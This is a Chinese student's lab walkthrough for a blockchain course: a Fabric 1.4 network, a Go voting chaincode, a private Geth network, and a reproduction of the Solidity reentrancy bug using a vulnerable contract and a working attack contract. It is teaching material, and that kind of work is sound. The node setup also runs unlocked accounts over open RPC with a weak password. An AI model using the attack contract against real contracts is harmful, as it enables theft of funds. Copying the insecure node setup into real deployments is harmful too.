img

但凡他实验任务书写好点,你也用不上这篇文章

实验任务书怎么了?

两个字,垃圾。给的流程确实挺详细,但是怎么有像把go mod tidy写成go mod dity这样神奇的操作呢,还有一大堆命令都已经过时无法正常运行,给出的参考链接还是什么 CSDN 上的老古董。还说什么"这是大学中最简单的实验了吧",你要是照着这个也能做出来,那就真的是很厉害了!

实验记录

以下是我个人查阅了一些文档后的实验记录和总结,所有步骤都是没问题的,如果顺利的话你应该也能跑通。对每个步骤我也尽量给出可以参考的官方文档,或许你可以从中找到解决问题的方法。

前置环境

  • 随便一个 Linux,别用他提供的老古董啦,求你了
  • Go,请根据官网指引安装:https://go.dev/doc/install
  • Docker,请根据官方脚本指引安装:https://get.docker.com/
  • 良好的网络环境,连不上自己解决吧,我也没办法

Fabric 1.4

任务 1: Building Your First Network

直接参考 https://hyperledger-fabric.readthedocs.io/en/release-1.4/install.htmlhttps://hyperledger-fabric.readthedocs.io/en/release-1.4/build_network.html 就可以了

mkdir fabric
cd fabric
curl -sSL http://bit.ly/2ysbOFE | bash -s -- 1.4.12 1.4.9 0.4.22
# 如果连不上可以试试这个
# curl -sSL https://raw.githubusercontent.com/hyperledger/fabric/master/scripts/bootstrap.sh | bash -s -- 1.4.12 1.4.9 0.4.22
cd fabric-samples/first-network

如果你使用的是新版本的 docker compose,命令已经由docker-compose改成了docker compose,替换掉脚本中的命令:

sed -i 's/docker-compose/docker compose/g' byfn.sh

启动!

./byfn.sh generate
./byfn.sh up

img

结束!

./byfn.sh down

任务 2: chaincode 编写

使用 Go 语言编写一个用于投票的 chaincode,并完成其功能性测试(如投票,统计,查询等)

参考 https://hyperledger-fabric.readthedocs.io/en/release-1.4/chaincode4ade.html ,以及fabric-samples目录下的chaincode-docker-devmode/README.rstchaincode/fabcar/go/fabcar.go,你应该可以从中找到一些关键函数的使用方法。

fabric-samples/chaincode目录下创建vote文件夹存储我们编写的代码。

// vote.go
package main

import (
        "bytes"
        "encoding/binary"
        "fmt"
        "strconv"

        "github.com/hyperledger/fabric/core/chaincode/shim"
        "github.com/hyperledger/fabric/protos/peer"
)

type VoteChaincode struct {
}

func (t *VoteChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {
        return shim.Success(nil)
}

func (t *VoteChaincode) Invoke(stub shim.ChaincodeStubInterface) peer.Response {
        fn, args := stub.GetFunctionAndParameters()

        if fn == "vote" {
                return vote(stub, args)
        } else {
                return get(stub, args)
        }
}

func vote(stub shim.ChaincodeStubInterface, args []string) peer.Response {
        if len(args) != 1 {
                return shim.Error("Incorrect arguments. Expecting a name")
        }

        name := args[0]
        voteAsBytes, err := stub.GetState(name)

        if err != nil {
                return shim.Error(err.Error())
        }

        voteCount := 0
        if voteAsBytes != nil {
                voteCount = BytesToInt(voteAsBytes)
        }

        err = stub.PutState(name, IntToBytes(voteCount+1))
        if err != nil {
                return shim.Error(err.Error())
        }

        return shim.Success(nil)
}

func get(stub shim.ChaincodeStubInterface, args []string) peer.Response {
        if len(args) == 0 {
                return getAll(stub)
        } else if len(args) == 1 {
                return getOne(stub, args[0])
        }
        return shim.Error("Incorrect arguments.")
}

func getAll(stub shim.ChaincodeStubInterface) peer.Response {
        resultIterator, err := stub.GetStateByRange("", "")
        if err != nil {
                return shim.Error(err.Error())
        }
        defer resultIterator.Close()

        var buffer bytes.Buffer
        buffer.WriteString("[")

        isWritten := false

        for resultIterator.HasNext() {
                queryResult, err := resultIterator.Next()
                if err != nil {
                        return shim.Error(err.Error())
                }

                if isWritten == true {
                        buffer.WriteString(", ")
                }

                buffer.WriteString(queryResult.Key)
                buffer.WriteString(": ")
                buffer.WriteString(strconv.Itoa(BytesToInt(queryResult.Value)))
                isWritten = true
        }

        buffer.WriteString("]")
        return shim.Success(buffer.Bytes())
}

func getOne(stub shim.ChaincodeStubInterface, name string) peer.Response {
        voteAsBytes, err := stub.GetState(name)

        if err != nil {
                return shim.Error(err.Error())
        }

        count := 0
        if voteAsBytes != nil {
                count = BytesToInt(voteAsBytes)
        }

        var buffer bytes.Buffer
        buffer.WriteString("[")

        buffer.WriteString(name)
        buffer.WriteString(": ")
        buffer.WriteString(strconv.Itoa(count))

        buffer.WriteString("]")
        return shim.Success(buffer.Bytes())
}

func main() {
        if err := shim.Start(new(VoteChaincode)); err != nil {
                fmt.Printf("Error starting vote chaincode: %s", err)
        }
}

func IntToBytes(n int) []byte {
        x := int32(n)
        bytesBuffer := bytes.NewBuffer([]byte{})
        binary.Write(bytesBuffer, binary.BigEndian, x)
        return bytesBuffer.Bytes()
}

func BytesToInt(b []byte) int {
        bytesBuffer := bytes.NewBuffer(b)
        var x int32
        binary.Read(bytesBuffer, binary.BigEndian, &x)
        return int(x)
}

启动!

# 1号终端:启动网络
cd ../../chaincode-docker-devmode
docker compose -f docker-compose-simple.yaml up
# 2号终端:启动chaincode
docker exec -it chaincode bash
cd vote/
go build
CORE_PEER_ADDRESS=peer:7052 CORE_CHAINCODE_ID_NAME=mycc:0 ./vote
# 3号终端:使用chaincode
docker exec -it cli bash
peer chaincode install -p chaincodedev/chaincode/vote -n mycc -v 0
# 初始化
peer chaincode instantiate -n mycc -v 0 -c '{"Args":[]}' -C myc
# 投票
peer chaincode invoke -n mycc -c '{"Args":["vote", "Mike"]}' -C myc

img

# 查询所有
peer chaincode invoke -n mycc -c '{"Args":["get"]}' -C myc

img

# 查询单个
peer chaincode invoke -n mycc -c '{"Args":["get", "Mike"]}' -C myc

img

Ethereum 网络搭建

任务 1:搭建一个以太坊的多节点私有网络

速通版:参考 https://geth.ethereum.org/docs/developers/dapp-developer/dev-mode ,一行命令运行你的私有网络!它实在是太简单了,想速通的自己研究一下就行,后面的流程还是按正常的搭建方法来。

正常版

安装:直接参考 https://geth.ethereum.org/docs/getting-started/installing-geth

sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update && sudo apt-get install ethereum

搭建:直接参考 https://geth.ethereum.org/docs/fundamentals/private-network 最后面的 End-to-end example

注意这个 end to end example 其实有点小问题,已经给他提 issue 和 pr 了,具体见 https://github.com/ethereum/go-ethereum/issues/28450
Update:文档已更正,现在没问题了

mkdir node1 node2
# 密码都用123456,注意记下Address
geth --datadir node1 account new # 0x80252bCebe52A66093eb28AD1764438Aa1c97008
geth --datadir node2 account new # 0xA3d7D0587eC26370B0e9dE657E29e07247509036
echo "123456" >> password.txt
# 创建 genesis.json,alloc里的两个要改成我们新建的那两个node,extradata中间的那一块改成node1
# ----------------------
{
  "config": {
    "chainId": 12345,
    "homesteadBlock": 0,
    "eip150Block": 0,
    "eip155Block": 0,
    "eip158Block": 0,
    "byzantiumBlock": 0,
    "constantinopleBlock": 0,
    "petersburgBlock": 0,
    "istanbulBlock": 0,
    "muirGlacierBlock": 0,
    "berlinBlock": 0,
    "londonBlock": 0,
    "arrowGlacierBlock": 0,
    "grayGlacierBlock": 0,
    "clique": {
      "period": 5,
      "epoch": 30000
    }
  },
  "difficulty": "1",
  "gasLimit": "800000000",
  "extradata": "0x000000000000000000000000000000000000000000000000000000000000000080252bCebe52A66093eb28AD1764438Aa1c970080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  "alloc": {
    "80252bCebe52A66093eb28AD1764438Aa1c97008": { "balance": "100000000000000000000" },
    "A3d7D0587eC26370B0e9dE657E29e07247509036": { "balance": "100000000000000000000" }
  }
}
# ---------------------
# 初始化
geth init --datadir node1 genesis.json
geth init --datadir node2 genesis.json
bootnode -genkey boot.key
bootnode -nodekey boot.key -addr :30305
# 创建两个新终端分别运行node,注意unlock参数要改成node的address
# bootnodes 后面的一串要改成你上面运行那个命令输出的内容
# node1最后的miner.etherbase也要改成node1的address,node2不用这个参数
geth --datadir node1 --port 30306 --bootnodes enode://09ab173c805232ee7031567f0e91a2163cefdc6a348907715a575e3a64626247f844aebec50c94770edf4041c85453901eaff4116e30d4aa563a70afcfe17afb@127.0.0.1:0?discport=30305  --networkid 123454321 --unlock 0x80252bCebe52A66093eb28AD1764438Aa1c97008 --password password.txt --authrpc.port 8551 --http --http.addr 0.0.0.0 --http.port 8545 --http.corsdomain "*" --allow-insecure-unlock --mine --miner.etherbase=0x80252bCebe52A66093eb28AD1764438Aa1c97008
geth --datadir node2 --port 30307 --bootnodes enode://09ab173c805232ee7031567f0e91a2163cefdc6a348907715a575e3a64626247f844aebec50c94770edf4041c85453901eaff4116e30d4aa563a70afcfe17afb@127.0.0.1:0?discport=30305  --networkid 123454321 --unlock 0xA3d7D0587eC26370B0e9dE657E29e07247509036 --password password.txt --authrpc.port 8552 --http --http.addr 0.0.0.0 --http.port 8546 --http.corsdomain "*" --allow-insecure-unlock
# 开另一个终端连接到node1
geth attach node1/geth.ipc
# 查看余额
eth.getBalance(eth.accounts[0])
# 在node1的账号发1给node2,注意改地址
eth.sendTransaction({
  to: '0xA3d7D0587eC26370B0e9dE657E29e07247509036',
  from: eth.accounts[0],
  value: 25000
});
# 查看自己的余额和node2的余额,注意改地址
eth.getBalance(eth.accounts[0])
eth.getBalance('0xA3d7D0587eC26370B0e9dE657E29e07247509036')
# 如果node1减少了不止1,node2加了1,那么恭喜你顺利完成!

img

连接到 Remix:http://remix.ethereum.org/#lang=zh&optimize=false&runs=200&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js&language=Solidity

由于一个网页只能连到一个 node,而我们一个 node 只有一个账号,你需要开两个 remix,环境选择下图的 Http Provider,Address 分别是 http://ip:8545http://ip:8546(这个 ip 应该是虚拟机的 ip,或者你浏览器也在虚拟机里可以填 127.0.0.1)

img

也因为是两个 remix,后面部署合约的时候,需要在 A 和 B 都进行编译,然后 A 部署,复制地址,B 填上地址选择 At Address 就可以看到了

任务 2:复现重入漏洞

Remix:

http://remix.ethereum.org/#lang=zh&optimize=false&runs=200&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js&language=Solidity

// v.sol
pragma solidity ^0.4.19;

contract Reentrance {
    address _owner;
    mapping(address => uint256) balances;

    function Reentrance() {
        _owner = msg.sender;
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);

        msg.sender.call.value(amount)();
        balances[msg.sender] -= amount;
    }
}
// a.sol
pragma solidity ^0.4.19;

import "./v.sol";

contract ReentranceAttack {
    Reentrance re;

    function ReentranceAttack(address _target) public payable {
        re = Reentrance(_target);
    }

    function attack() public payable {
        require(msg.value >= 1 ether);
        re.deposit.value(1 ether)();
        re.withdraw(1 ether);
    }

    function collect() public {
        msg.sender.transfer(this.balance);
    }

    function() public payable {
        if (re.balance >= 1 ether) {
            re.withdraw(1 ether);
        }
    }
}

编译后部署,A 存 1 个,B 存 1 个,A 再通过 attack 存 1 个,此时原合约的两个都会到 attack 中,A 再 collect 出来就多拥有一个了

参考视频:https://www.bilibili.com/video/BV1fe4y1e7zc/

img

img

最后

建议大家在实验报告里都狠狠的说一下任务书的问题,让他赶紧改好点吧!